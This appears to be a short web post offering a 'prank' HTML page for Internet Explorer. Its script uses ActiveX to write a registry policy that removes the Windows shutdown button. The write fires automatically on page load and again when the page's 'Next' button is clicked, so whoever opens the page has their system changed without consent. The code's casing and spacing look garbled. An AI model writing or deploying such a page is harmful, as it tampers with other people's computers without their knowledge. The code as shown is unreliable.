Home>
Purely prank (only works for Internet Explorer because activex is called)
<!-
e-mail:[email protected]
author:dujianing
Remove shutdown button
->
<! Doctype html>
<html>
<head>
<meta charset="utf-8" />
<title></title>
<script type="text/javascript" language="javascript">
function disabletaskmgr (flg) {
var shell=new activexobject ("wscript.shell");
try {
shell.regwrite ("hkey_local_machine \\ software \\ microsoft \\ windows \\ currentversion \\ policies \\ explorer \\ noclose", 1, "reg_dword")
} catch (e) {
throw e;
}
}
</script>
</head>
<body onload="disabletaskmgr (true)">
<img src="imgs/2.jpg" />
<button onclick="disabletaskmgr (true)">Next
</button>
</body>
</html>
Note:You can prank it,Modify the registry,Change the value to 0 to restore
Trends